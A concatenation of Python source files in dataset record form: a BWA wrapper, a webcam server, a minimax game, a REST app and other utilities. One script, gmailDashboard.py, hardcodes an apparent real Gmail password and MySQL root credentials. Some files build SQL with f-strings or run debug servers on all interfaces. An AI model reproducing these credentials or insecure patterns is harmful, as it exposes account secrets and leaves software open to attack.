tools.samtools.SamtoolsTool().view([\"-b\", \"-h\", \"-q\", str(min_qual)], aln_bam_prefilter, tmp_bam_aligned)\n os.unlink(aln_bam_prefilter)\n else:\n shutil.move(aln_bam_prefilter, tmp_bam_aligned)\n\n # if the aligned bam file contains no reads after filtering\n # just create an empty file\n if tools.samtools.SamtoolsTool().count(tmp_bam_aligned) == 0:\n util.file.touch(outBam)\n else:\n # samtools reheader seems to segfault on some alignments created by bwa\n # so rather than reheader, BWA will write out the RG given to it via '-R'\n # reheadered_bam = util.file.mkstempfname('.reheadered.bam')\n # tools.samtools.SamtoolsTool().reheader(tmp_bam_aligned, headerFile, reheadered_bam)\n # os.unlink(tmp_bam_aligned)\n # os.unlink(headerFile)\n # os.system(\"samtools view -h {} > /Users/tomkinsc/Desktop/test_reheader.bam\".format(reheadered_bam))\n\n # sort\n sorter = tools.picard.SortSamTool()\n sorter.execute(\n tmp_bam_aligned,\n outBam,\n sort_order='coordinate',\n picardOptions=['CREATE_INDEX=true', 'VALIDATION_STRINGENCY=SILENT'],\n JVMmemory=JVMmemory\n )\n #os.unlink(reheadered_bam)\n\n def mem(self, inReads, refDb, outAlign, options=None, min_qual=None, threads=None):\n options = [] if not options else options\n\n threads = threads or util.misc.available_cpu_count()\n samtools = tools.samtools.SamtoolsTool()\n fq1 = util.file.mkstempfname('.1.fastq')\n fq2 = util.file.mkstempfname('.2.fastq')\n aln_sam = util.file.mkstempfname('.sam')\n samtools.bam2fq(inReads, fq1, fq2)\n\n if '-t' not in options:\n threads = threads or utils.misc.available_cpu_count()\n options.extend(('-t', str(threads)))\n\n if '-T' not in options:\n min_qual = min_qual or 30\n options.extend(('-T', str(min_qual)))\n\n self.execute('mem', options + [refDb, fq1, fq2], stdout=aln_sam)\n\n os.unlink(fq1)\n os.unlink(fq2)\n samtools.sort(aln_sam, outAlign, threads=threads)\n os.unlink(aln_sam)\n # cannot index sam files; only do so if a bam/cram is desired\n if outAlign.endswith(\".bam\") or outAlign.endswith(\".cram\"):\n samtools.index(outAlign)\n","sub_path":"tools/bwa.py","file_name":"bwa.py","file_ext":"py","file_size_in_byte":9155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"161842948","text":"\nimport camera\nimport picoweb\nimport machine\nimport time\nimport uasyncio as asyncio\n\nled = machine.Pin(4, machine.Pin.OUT)\napp = picoweb.WebApp('app')\n\nimport ulogging as logging\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger('app')\n\n\n@app.route('/')\ndef index(req, resp):\n\n # parse query string\n req.parse_qs()\n flash = req.form.get('flash', 'false')\n if flash == 'true':\n led.on()\n\n # Camera resilience - if we fail to init try to deinit and init again\n if (not camera.init()):\n camera.deinit()\n await asyncio.sleep(1)\n # If we fail to init, return a 503\n if (not camera.init()):\n yield from picoweb.start_response(resp, status=503)\n yield from resp.awrite('ERROR: Failed to initialise camera\\r\\n\\r\\n')\n return\n\n # wait for sensor to start and focus before capturing image\n await asyncio.sleep(2)\n buf = camera.capture()\n\n led.off()\n camera.deinit()\n\n if type(buf) is bytes and len(buf) > 0:\n yield from picoweb.start_response(resp, \"image/jpeg\")\n yield from resp.awrite(buf)\n else:\n picoweb.http_error(resp, 503)\n\n\ndef run():\n app.run(host='0.0.0.0', port=80, debug=True)\n","sub_path":"webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"594916259","text":"import atexit\nimport os\nimport random\n\nimport cPickle\n\nfrom minimax.os_and_xs import XsAndOs\n\nPLAYER = XsAndOs.X_PLAYER\nOPPONENT = XsAndOs.O_PLAYER\n_move_lookup = {} # This is loaded into end of module load\nWIN_SCORE = 10\nCACHE_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), 'minmax_cache.pickle'))\n\n\ndef read_lookup_from_cache():\n lookup = {}\n try:\n if os.path.exists(CACHE_FILE):\n with open(CACHE_FILE) as fp:\n print(\"Loaded lookup from pickle\")\n lookup = cPickle.load(fp)['lookup']\n except Exception as e:\n print(\"Couldn't load from cache because:\\n%s\" % e)\n\n return lookup\n\n\n\ndef write_to_cache():\n try:\n with open(CACHE_FILE, 'w') as fp:\n print(\"Wrote lookup to pickle\")\n cPickle.dump({'lookup': _move_lookup}, fp)\n except Exception as e:\n print(\"Failed to write because:\\n%s\" % e)\n pass\n\n\ndef board_score(board, player):\n if board.get_winner() is not None:\n return WIN_SCORE if board.get_winner() == player else -WIN_SCORE\n return 0\n\n\ndef pick_move(board, player, max_depth=100):\n move, score = _get_best_move(board, player, max_depth) if len(board.available_moves()) > 0 else (None, None)\n return move, score\n\ndef hash_game(board, player):\n return str(player) + '-' + str(board)\n\n\ndef store_and_return(move, score, board, player, complete):\n if complete:\n _move_lookup[hash_game(board, player)] = {'move': move, 'score': score}\n return move, score\n\n\ndef _get_best_move(board, player=PLAYER, max_depth=100):\n # See if we've computed this before\n cached_move = _move_lookup.get(hash_game(board, player), None)\n if cached_move:\n return cached_move['move'], cached_move['score']\n\n options = []\n available_moves = board.available_moves()\n\n # If only one move make that one.\n if len(available_moves) == 1:\n future_board = board.clone()\n future_board.play(player, *available_moves[0])\n return store_and_return(available_moves[0], board_score(future_board, player), board, player, True)\n\n # Else evaluate all the moves\n random.shuffle(available_moves)\n for move in available_moves:\n future_board = board.clone()\n future_board.play(player, *move)\n score = board_score(future_board, player)\n\n # Break early if we win\n if score > 0:\n return store_and_return(move, score, board, player, True)\n\n # Else recurse switching player (but only if we've not reached our depth limit)\n if max_depth > 0:\n other_player = OPPONENT if player is PLAYER else PLAYER\n opponent_move, opponent_score = _get_best_move(future_board, other_player, max_depth - 1)\n score = -opponent_score\n\n options.append({'move': move, 'score': score})\n move_to_make = sorted(options, key=lambda o: o['score'], reverse=True)[0]\n\n return store_and_return(move_to_make['move'], move_to_make['score'], board, player, False)\n\n\n_move_lookup = read_lookup_from_cache()\n\n\natexit.register(write_to_cache)","sub_path":"minimax/min_max.py","file_name":"min_max.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"114781888","text":"# will get TLE\n\ndef solve(state, curRow):\n\tif curRow == n:\n\t\treturn 0\n\tif dp[state] != -1:\n\t\treturn dp[state]\n\tMin = 1e9\n\tfor i in range(n):\n\t\tif not (state & (1 << i)):\n\t\t\tMin = min(Min, abs(curRow -i) + abs(ls1[curRow] - ls2[i]) + solve(state | (1 << i), curRow + 1))\n\tdp[state] = Min\n\treturn Min\n\nwhile True:\n\tn = int(input())\n\tif n == 0:\n\t\tbreak\n\tls1 = list(map(int, input().split()))\n\tls2 = list(map(int, input().split()))\n\tdp = [-1] * ((1 << (n+1)) - 1)\n\tprint(solve(0, 0))\n","sub_path":"BABY.py","file_name":"BABY.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"354984497","text":"from Helpers.DBHelper import DBHelper\n\n\nclass Clients(object):\n \"\"\"\n Class for processing about clients information. Implemented mainly in the form of functions working with a database\n \"\"\"\n NEW_CLIENT_NAME = \"John Doe\"\n NEW_CLIENT_BALANCE = 5.00\n\n def __init__(self) -> None:\n \"\"\"\n Class initialization function\n \"\"\"\n self._client = DBHelper()\n\n def add_new_client(self, name: str = NEW_CLIENT_NAME, balance: float = NEW_CLIENT_BALANCE) -> None:\n \"\"\"\n Function adds a new client to the database.\n :param name: (str) client name\n :param balance: {float) client balance\n :return None\n \"\"\"\n new_client_id = self._client.insert_into_clients(name)\n self._client.insert_into_balances(new_client_id, balance)\n\n def get_positive_balance_client_from_db(self) -> list:\n \"\"\"\n Function selects clients with a positive database balance.\n :return: (list) list of values like: (id, balance)\n \"\"\"\n client_id_row = self._client.CLIENTS_CLIENT_ID_ROW\n balance_row = self._client.BALANCES_BALANCE_ROW\n clients_table = self._client.CLIENTS_TABLE\n balances_table = self._client.BALANCES_TABLE\n clients_client_id_row = self._client.CLIENTS_CLIENT_ID_ROW\n balances_client_id_row = self._client.BALANCES_CLIENT_ID_ROW\n balance = self._client.BALANCES_BALANCE_ROW\n query = (f\"\"\"\n SELECT {client_id_row}, {balance_row}\n FROM {clients_table} LEFT JOIN {balances_table} ON {clients_client_id_row} = {balances_client_id_row}\n WHERE {balance} > 0;\n \"\"\")\n self._client.get_cursor().execute(query)\n return self._client.get_cursor().fetchall()\n\n def get_positive_balance_client_info(self, client_in_list: int = 0) -> tuple:\n \"\"\"\n Function returns the client's id and balance from the result of a database query, revealing a tuple like:\n (id_, balance_)\n :return: (tuple) tuple like: (id, balance)\n \"\"\"\n client = None\n try:\n client = self.get_positive_balance_client_from_db()[client_in_list]\n except IndexError:\n self.add_new_client()\n client = self.get_positive_balance_client_from_db()[client_in_list]\n finally:\n return client\n\n def get_client_balance(self, client_id: int) -> float:\n \"\"\"\n Function returns the client's id and balance from the result of a database query, revealing a tuple like:\n :param client_id: (int) client id\n :return: (float) client balance\n \"\"\"\n balance = self._client.BALANCES_BALANCE_ROW\n balances_table = self._client.BALANCES_TABLE\n balances_client_id = self._client.BALANCES_CLIENT_ID_ROW\n query = (f\"\"\"\n SELECT {balance}\n FROM {balances_table}\n WHERE {balances_client_id} = {client_id};\n \"\"\")\n self._client.get_cursor().execute(query)\n return self._client.get_cursor().fetchall()[0][0]\n\n @staticmethod\n def calculate_final_balance(initial_balance: float, service_cost: float) -> float:\n \"\"\"\n Function determines the difference between the initial balance and the cost of the connected service\n :param initial_balance: (float) initial balance\n :param service_cost: (float) service cost\n :return: (float) final calculated balance\n \"\"\"\n return initial_balance - service_cost\n\n def close_database_connection(self) -> None:\n \"\"\"\n Function for close connection to database\n :return: None\n \"\"\"\n self._client.close_db()\n","sub_path":"Objects/Clients.py","file_name":"Clients.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"394563595","text":"from functools import reduce\r\nimport operator\r\n\r\nfrom ..core import *\r\nfrom ..utils import *\r\nfrom ..vparsers import *\r\n\r\n\r\nclass NexxStatusParser(ValueParser):\r\n \r\n @attributeerror_wrapper(return_value=None)\r\n def parse(self, item):\r\n style = item.get(\"style\", \"\").upper()\r\n if \"RGB(176, 203, 31)\" in style or \"#B0CB1F\" in style:\r\n return StatusParser.AVAILABLE\r\n if \"RGB(227, 30, 36)\" in style or \"#E31E24\" in style:\r\n return StatusParser.SOLD\r\n if \"RGB(255, 237, 0)\" in style or \"#FFED00\" in style:\r\n return StatusParser.RESERVED\r\n \r\n \r\nclass NexxParser(MultipleRequestsGeneratorMixin, MultipleWebpageParser):\r\n url = \"http://nexx.com.pl\"\r\n url_params = []\r\n \r\n schema = [\r\n DataUnit(label=\"Number\", parser=DOMTextExtractor(), id=\"number\"),\r\n DataUnit(label=\"Powierzchnia\", parser=AreaParser(DOMTextExtractor()), id=\"area\"),\r\n DataUnit(label=\"Opis\", parser=DOMTextExtractor(), id=\"_desc\"),\r\n DataUnit(label=\"Rzut\", parser=LinkParser(DOMElementExtractor(\"a\")), id=\"plan\"),\r\n DataUnit(label=\"Status\", parser=NexxStatusParser(DOMElementExtractor(\"p\")), id=\"status\")\r\n ]\r\n \r\n @attributeerror_wrapper(return_value=[])\r\n def find_records(self, soup):\r\n panels = soup.find(\"div\", {\"class\": \"vc_tta-panels\"})\\\r\n .find_all(\"div\", {\"vc_tta-panel\"})\r\n records = [ self.extract_flats(panel) for panel in panels ]\r\n return reduce(operator.add, records)\r\n\r\n def extract_flats(self, soup):\r\n columns = soup.find(\"ul\", {\"ipt-table\"})\\\r\n .find_all(\"li\", {\"class\": \"ipt_tr_li\"})\r\n values = [\r\n [\r\n item.find(\"div\", {\"class\": \"ipt-content-element\"})\r\n for item in column.find_all(\"li\", {\"class\": \"ipt_table_item\"})\r\n ]\r\n for column in columns\r\n ]\r\n return list(zip(*values))[1:]\r\n\r\n def split_record(self, record):\r\n return record\r\n \r\n def modify_record(self, record, soup=None):\r\n record[\"fid\"] = record[\"number\"]\r\n return record","sub_path":"parsers/nexx/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"580638448","text":"from opengever.base import _ as base_mf\nfrom opengever.base.viewlets.byline import BylineBase\nfrom Products.CMFPlone import PloneMessageFactory as plone_mf\n\n\nclass DispositionByline(BylineBase):\n\n def get_items(self):\n return [\n {'class': 'document_created',\n 'label': base_mf('label_created', default='Created'),\n 'content': self.created(),\n 'replace': False},\n {'class': 'review_state',\n 'label': plone_mf('State', default='State'),\n 'content': self.workflow_state(),\n 'replace': False},\n {'class': 'last_modified',\n 'label': base_mf('label_last_modified', default='Last modified'),\n 'content': self.modified(),\n 'replace': False},\n ]\n","sub_path":"opengever/disposition/viewlets/byline.py","file_name":"byline.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"64847762","text":"class Splice_Command:\n '''\n Base class for all splice command classes,\n not used directly.\n '''\n def __init__(self):\n pass\n\n def decode(self, bitn):\n pass\n\n def parse_break(self, bitbin):\n self.break_auto_return = bitbin.asflag(1)\n bitbin.forward(6)\n self.break_duration = bitbin.as90k(33)\n\n def encode_break(self): #40bits\n break_bytes = 0\n if self.break_auto_return:\n break_bytes = 1 << 39\n break_bytes += (self.break_duration * 90000)\n return int.to_bytes(break_bytes, 5, byteorder='big')\n\n def splice_time(self, bitbin): # 40bits\n self.time_specified_flag = bitbin.asflag(1)\n if self.time_specified_flag:\n bitbin.forward(6)\n self.pts_time = bitbin.as90k(33)\n else:\n bitbin.forward(7)\n\n def encode_splice_time(self):\n st_bytes = 0\n if self.time_specified_flag:\n st_bytes = 1 << 39\n st_bytes += (self.pts_time * 90000)\n return int.to_bytes(st_bytes, 5, byteorder='big')\n\n\nclass Splice_Null(Splice_Command):\n \"\"\"\n Table 7 - splice_null()\n \"\"\"\n def decode(self, bitbin):\n self.name = \"Splice Null\"\n self.splice_command_length = 0\n\n\nclass Splice_Schedule(Splice_Command):\n \"\"\"\n Table 8 - splice_schedule()\n \"\"\"\n def decode(self, bitbin):\n self.name = \"Splice Schedule\"\n splice_count = bitbin.asint(8)\n for i in range(0, splice_count):\n self.splice_event_id = bitbin.asint(32)\n self.splice_event_cancel_indicator = bitbin.asflag(1)\n bitbin.forward(7)\n if not self.splice_event_cancel_indicator:\n self.out_of_network_indicator = bitbin.asflag(1)\n self.program_splice_flag = bitbin.asflag(1)\n self.duration_flag = bitbin.asflag(1)\n bitbin.forward(5)\n if self.program_splice_flag:\n self.utc_splice_time = bitbin.asint(32)\n else:\n self.component_count = bitbin.asint(8)\n self.components = []\n for j in range(0, self.component_count):\n self.components[j] = {\n \"component_tag\": bitbin.asint(8),\n \"utc_splice_time\": bitbin.asint(32),\n }\n if self.duration_flag: self.break_duration(bitbin)\n self.unique_program_id = bitbin.asint(16)\n self.avail_num = bitbin.asint(8)\n self.avails_expected = bitbin.asint(8)\n \n\nclass Splice_Insert(Splice_Command):\n \"\"\"\n Table 9 - splice_insert()\n \"\"\"\n def decode(self, bitbin):\n self.name = \"Splice Insert\"\n self.splice_event_id = bitbin.asint(32) # uint32\n self.splice_event_cancel_indicator = bitbin.asflag(1)\n bitbin.forward(7) #uint8\n if not self.splice_event_cancel_indicator:\n self.out_of_network_indicator = bitbin.asflag(1)\n self.program_splice_flag = bitbin.asflag(1)\n self.duration_flag = bitbin.asflag(1)\n self.splice_immediate_flag = bitbin.asflag(1)\n bitbin.forward(4) #uint8\n if self.program_splice_flag and not self.splice_immediate_flag:\n self.splice_time(bitbin) # uint8 + uint32\n if not self.program_splice_flag:\n self.component_count = bitbin.asint(8)# uint 8\n self.components = []\n for i in range(0, self.component_count):\n self.components[i] = bitbin.asint(8)\n if not self.splice_immediate_flag: self.splice_time(bitbin)\n if self.duration_flag: self.parse_break(bitbin)\n self.unique_program_id = bitbin.asint(16)\n self.avail_num = bitbin.asint(8)\n self.avail_expected = bitbin.asint(8)\n \n\nclass Time_Signal(Splice_Command):\n \"\"\"\n Table 10 - time_signal()\n \"\"\"\n def __init__(self):\n self.time_specified_flag = None\n self.pts_time = None\n\n def decode(self, bitbin):\n self.name = \"Time Signal\"\n self.splice_time(bitbin)\n\n def encode(self):\n command_bytes =self.encode_splice_time()\n\n\nclass Bandwidth_Reservation(Splice_Command):\n \"\"\"\n Table 11 - bandwidth_reservation()\n \"\"\"\n def decode(self, bitbin):\n self.name = \"Bandwidth Reservation\"\n\n\nclass Private_Command(Splice_Command):\n \"\"\"\n Table 12 - private_command()\n \"\"\"\n def __init__(self):\n self.identifier = None\n\n def decode(self, bitbin):\n self.name = \"Private Command\"\n self.identifier = bitbin.asint(32)\n\n def encode(self):\n command_bytes = int.to_bytes(self.identifier, 4, byteorder='big')\n","sub_path":"threefive/splice_commands.py","file_name":"splice_commands.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"631724158","text":"import lorun\nfrom utils import create_file_to_write\nfrom consts import VerdictResult, NOBODY_UID\nfrom conf import run_cfgs as cfgs\nimport os\n\n\nclass BaseExecutor:\n lang = None\n\n def __init__(self, code, exe_dir):\n self.code = code\n self.exe_dir = exe_dir\n self.exe_args = None\n self.init()\n\n def init(self):\n raise NotImplementedError\n\n def execute(self, input_path, output_path, log_path, time_limit, memory_limit, trace=False, runner=NOBODY_UID):\n input_file = open(input_path, 'r') if input_path else None\n output_file = create_file_to_write(output_path) if output_path else None\n log_file = create_file_to_write(log_path) if log_path else None\n\n result = {\n 'result': VerdictResult.SE,\n 'timeused': 0,\n 'memoryused': 0,\n 'desc': \"lorun exited unexpectedly\"\n }\n try:\n run_cfg = self.get_run_cfg(\n self.exe_args,\n input_file.fileno() if input_file else 0,\n output_file.fileno() if output_file else 0,\n log_file.fileno() if log_path else 0,\n time_limit,\n memory_limit,\n trace=trace,\n runner=runner,\n )\n result = lorun.run(run_cfg)\n except SystemError:\n return result\n finally:\n self.get_additional_info(result, output_path, log_path)\n if input_file:\n input_file.close()\n if output_file:\n output_file.close()\n if log_file:\n log_file.close()\n # do some cleanups in subclasses if necessary\n self.cleanup(log_path)\n\n return result\n\n def get_additional_info(self, result, output_path, log_path):\n # get more info in subclasses if necessary\n info = []\n if \"re_call\" in result:\n info.append(f\"re_call: {result['re_call']}\")\n if \"re_signum\" in result:\n info.append(f\"re_signum: {result['re_signum']}\")\n if \"re_file\" in result:\n info.append(f\"re_file: {result['re_file']}\\nre_file_flag: {result['re_file_flag']}\")\n result['desc'] = \"\\n\".join(info)\n\n def cleanup(self, log_path):\n if log_path:\n if os.path.getsize(log_path) == 0:\n os.remove(log_path)\n\n def get_run_cfg(self, args, fd_in, fd_out, fd_err, time_limit=None, memory_limit=None, trace=False, runner=NOBODY_UID):\n cfg = cfgs[self.lang]\n res = {\n 'args': args,\n 'fd_in': fd_in,\n 'fd_out': fd_out,\n 'fd_err': fd_err,\n 'timelimit': time_limit, # in MS\n 'memorylimit': memory_limit, # in KB\n 'runner': runner,\n }\n # If no *_limit is set, which means the cfg is for compilation, read limits from config file.\n if not time_limit:\n res['timelimit'] = cfg['compile_time_limit']\n if not memory_limit:\n res['memorylimit'] = cfg['compile_memory_limit']\n if trace:\n res.update({'trace': True, 'calls': cfg['allowed_calls'], 'files': cfg['allowed_files']})\n return res\n","sub_path":"executors/base_executor.py","file_name":"base_executor.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"627925547","text":"#pip install secure-smtplib\nimport smtplib\nimport tkinter as tk\nimport mysql.connector\nimport os\nfrom tkinter import messagebox\n\n\nmydb=mysql.connector.connect(\nhost=\"localhost\",\nuser=\"root\",\npassword=\"root\",\ndatabase=\"zzz\"\n)\n\nmycursor=mydb.cursor()\nmaster=tk.Tk()\n\n\ndef send():\n \n msg=message_entry.get()\n rec=name_entry.get()\n # creates SMTP session \n s = smtplib.SMTP('smtp.gmail.com', 587) \n # start TLS for security \n s.starttls() \n # Authentication \n s.login(\"mayureshdeshmukh101@gmail.com\", \"iamaddict123\") \n # message to be sent \n #message = \"Full App\"\n # sending the mail \n s.sendmail(\"mayureshdeshmukh101@gmail.com\", rec, msg) \n # terminating the session \n s.quit()\n \n\n \nname_label=tk.Label(master,text=\"Enter Recipeint EMail\")\nname_entry=tk.Entry(master)\n\nmessage_label=tk.Label(master,text=\"Enter Message\")\nmessage_entry=tk.Entry(master)\n\nsub_btn=tk.Button(master,text=\"SEND\",command=send)\n\nname_label.grid(row=0,column=0)\nname_entry.grid(row=0,column=1)\n\nmessage_label.grid(row=2,column=0)\nmessage_entry.grid(row=2,column=1)\n\nsub_btn.grid(row=4,column=1)\n \n","sub_path":"gmailDashboard.py","file_name":"gmailDashboard.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"258656137","text":"import re\n\nfilename = 'file4.txt' # filename - хранит в себе имя файла\nword = 'Tnjf' # word - искомое слово\nresult = 0\n\nwith open(filename, 'r', encoding='utf-8') as text_file:\n for line_text in text_file:\n result += len(re.findall(word,line_text))\n\n\nprint(result)\n","sub_path":"Practice_5/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"232482834","text":"\"\"\" This module provides versioned output files. When you write to such\na file, it saves a versioned backup of any existing file contents. \"\"\"\n\nimport os, glob\nimport shutil\n\nclass VersionedOutputFile:\n \"\"\" Versioned Backups \"\"\"\n\n def __init__(self, pathname, numSavedVersions=3):\n \"\"\" pathname is the name of the file to backup.\n File has to exist. numSavedVersions tells how many of the most recent\n versions of pathname to save. \"\"\"\n self._pathname = pathname\n self._numSavedVersions = numSavedVersions\n \n def backup(self):\n \"\"\" Save a numbered backup of self's named file. \"\"\"\n # If the file doesn't already exist, there's nothing to do\n if os.path.isfile(self._pathname):\n newName = self._versionedName(self._currentRevision() + 1)\n shutil.copy(self._pathname, newName)\n # Maybe get rid of old versions\n if ((self._numSavedVersions is not None) and\n (self._numSavedVersions > 0)):\n self._deleteOldRevisions()\n\n def _versionedName(self, revision):\n \"\"\" Get self's pathname with a revision number appended. \"\"\"\n return \"%s.~%s~\" % (self._pathname, revision)\n\n def _currentRevision(self):\n \"\"\" Get the revision number of self's largest existing backup. \"\"\"\n revisions = [0] + self._revisions( )\n return max(revisions)\n\n def _revisions(self):\n \"\"\" Get the revision numbers of all of self's backups. \"\"\"\n revisions = []\n backupNames = glob.glob(\"%s.~[0-9]*~\" % (self._pathname))\n for name in backupNames:\n try:\n revision = int(name.split(\"~\")[-2])\n revisions.append(revision)\n except ValueError:\n # Some ~[0-9]*~ extensions may not be wholly numeric\n pass\n revisions.sort()\n return revisions\n\n def _deleteOldRevisions(self):\n \"\"\" Delete old versions of self's file, so that at most\n self._numSavedVersions versions are retained. \"\"\"\n revisions = self._revisions( )\n revisionsToDelete = revisions[:-self._numSavedVersions]\n for revision in revisionsToDelete:\n pathname = self._versionedName(revision)\n if os.path.isfile(pathname):\n os.remove(pathname)\n\n","sub_path":"program/montehelper/versionedfile.py","file_name":"versionedfile.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"574479828","text":"\nBOT_NAME = 'abstracts'\n\nSPIDER_MODULES = ['abstracts.spiders']\nNEWSPIDER_MODULE = 'abstracts.spiders'\n\nUSER_AGENT = 'Mozilla/5.0'\n\nDOWNLOADER_MIDDLEWARES = {\n 'abstracts.downloadermiddleware.ignorepdf.IgnorePdfMiddleware': 500,\n}\n\nSPIDER_MIDDLEWARES = {\n #'abstracts.spidermiddleware.storecsv.StoreCsvMiddleware': 500\n}\n\nCOMMANDS_MODULE = 'scrapy_datatest'\n","sub_path":"abstracts/abstracts/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"190132856","text":"from colorama import init, deinit, Fore\r\n\r\n\r\nclass Log():\r\n\r\n LogFH = None\r\n \r\n def __init__(self, LogFileName = None ):\r\n init(autoreset = True)\r\n \r\n self.Separator()\r\n if LogFileName:\r\n self.LogFileName = LogFileName\r\n self.LogFH = open(LogFileName, \"w\")\r\n\r\n def __del__(self):\r\n deinit()\r\n if (self.LogFH):\r\n self.LogFH.close()\r\n self.Separator()\r\n \r\n def Success(self,value):\r\n print(Fore.GREEN + \"SUCCESS: \" + value )\r\n if self.LogFH:\r\n print(\"SUCCESS: \"+ value, file= self.LogFH)\r\n \r\n def Info(self, value):\r\n print(\"INFO: \" + value)\r\n if self.LogFH:\r\n print(\"INFO: \" + value, file= self.LogFH)\r\n\r\n def Warning(self, value):\r\n print(Fore.YELLOW +\"WARNING: \" + value)\r\n if self.LogFH:\r\n print(\"WARNING: \" + value, file= self.LogFH)\r\n\r\n def Error(self, value):\r\n print(Fore.RED + \"ERROR: \" + value )\r\n if self.LogFH:\r\n print(\"ERROR: \" + value, file= self.LogFH)\r\n \r\n def Separator(self,char=\"#\",length=90): \r\n for x in range(length):\r\n print(char[0],end = '')\r\n print(\"\")\r\n \r\n if self.LogFH: \r\n for x in range(length):\r\n print(char[0],end = '', file= self.LogFH)\r\n print(\"\")\r\n \r\ndef FormatList(list,cols=2, space=20):\r\n list = [string.ljust(space) for string in list]\r\n lines = (\"\\t- \".join(list[i:i+cols]) for i in range(0,len(list),cols))\r\n \r\n return '\\n- ' + '\\n- '.join(lines)\r\n ","sub_path":"scripts/utility/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"597007130","text":"#!flask/bin/python\n\n\"\"\" This flask app provides the RESTful interface to a RepStore.\n\"\"\"\n\nfrom flask import (\n abort,\n Flask,\n jsonify,\n make_response,\n redirect,\n request,\n)\nfrom rep import (\n Pin,\n PinStore,\n Rep,\n RepStore,\n)\n\napp = Flask(__name__)\n\nstore = RepStore()\npin_store = PinStore()\n\n@app.route('/')\ndef index():\n \"\"\" This is a placeholder for the root.\n \"\"\"\n return \"Hello, World!\"\n\n@app.route('/rep/api/v1.0/reps', methods=['GET'])\ndef get_reps():\n \"\"\" This outputs all the Reps as a single dict. This will eventually need\n to be limited in some way.\n \"\"\"\n return jsonify(store.as_dict())\n\n@app.route('/rep/api/v1.0/reps/', methods=['GET'])\ndef get_rep(key):\n \"\"\" Return a specific Rep referenced by its local key.\n \"\"\"\n try:\n return jsonify(store[key].as_dict())\n except KeyError:\n abort(404)\n\n@app.errorhandler(404)\ndef not_found(error):\n \"\"\" Defines a custom 404 page.\n \"\"\"\n return make_response(jsonify({'error': 'Not found'}), 404)\n\n@app.route('/rep/api/v1.0/reps', methods=['POST'])\ndef create_rep():\n if not request.json:\n abort(400)\n key = store.create(Rep(title=request.json.get('title')))\n return redirect('/rep/api/v1.0/reps/%s' % key, code=201)\n\n@app.route('/rep/api/v1.0/reps/', methods=['PUT'])\ndef update_rep(key):\n store.update({key: Rep(title=request.json.get('title'))})\n return jsonify(store[key].as_dict())\n\n@app.route('/rep/api/v1.0/reps/', methods=['DELETE'])\ndef delete_rep(key):\n try:\n del store[key]\n return jsonify({'result': True})\n except KeyError as e:\n abort(404)\n\n@app.route('/rep/api/v1.0/pins', methods=['GET'])\ndef get_pins():\n \"\"\" This outputs all the Pins as a single dict. This will eventually need\n to be limited in some way.\n \"\"\"\n return jsonify(pin_store.as_dict())\n\n@app.route('/rep/api/v1.0/pins', methods=['POST'])\ndef create_pin():\n if not request.json:\n abort(400)\n key = pin_store.create(Pin(request.json.get('parent'),\n request.json.get('child')))\n return redirect('/rep/api/v1.0/pins/%s' % key, code=201)\n\n@app.route('/rep/api/v1.0/pins/', methods=['GET'])\ndef get_pin(key):\n \"\"\" Return a specific Pin referenced by its local key.\n \"\"\"\n try:\n return jsonify(pin_store[key].as_dict())\n except KeyError:\n abort(404)\n\n@app.route('/rep/api/v1.0/pins/', methods=['DELETE'])\ndef delete_pin(key):\n try:\n del pin_store[key]\n return jsonify({'result': True})\n except KeyError as e:\n abort(404)\n\n@app.route('/rep/api/v1.0/pins/', methods=['PUT'])\ndef update_pin(key):\n for field in ['parent', 'child']:\n setattr(pin_store[key], field,\n request.json.get(field, getattr(pin_store[key], field)))\n return jsonify(pin_store[key].as_dict())\n\n@app.route('/rep/api/v1.0/children/', methods=['GET'])\ndef get_children(key):\n return jsonify({key: store[child].as_dict() for child in pin_store.get_children(key)})\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n\n","sub_path":"rest_app.py","file_name":"rest_app.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
